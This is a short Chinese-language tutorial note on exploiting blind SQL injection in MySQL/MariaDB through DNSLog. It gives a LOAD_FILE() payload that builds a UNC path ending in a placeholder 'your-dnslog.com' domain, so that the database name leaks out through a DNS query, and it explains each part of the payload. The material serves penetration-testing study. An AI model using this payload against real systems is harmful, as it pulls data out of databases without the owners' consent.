4-15

SQL 注入无回显利用 DNSLog 如何构造

1. MySQL/MariaDB

在 MySQL 和 MariaDB 中,LOAD_FILE() 函数和 UNC 路径(Windows 共享路径)是触发 DNS 查询的常用手段

a. 利用 LOAD_FILE()

LOAD_FILE() 函数用于读取文件内容,但如果给它一个 UNC 路径,它会触发 DNS 查询

  • Payload 构造: SELECT LOAD_FILE(CONCAT('\\',(SELECT DATABASE()),'.your-dnslog.com\a'));
  • 解释:
    • SELECT DATABASE():获取当前数据库名
    • CONCAT(...):将数据库名与你的 DNSlog 域名拼接成一个新的域名,例如 testdb.your-dnslog.com
    • LOAD_FILE():尝试加载这个 UNC 路径,由于域名不存在本地,它会发起 DNS 查询
    • \a:这是一个占位符,用于避免语法错误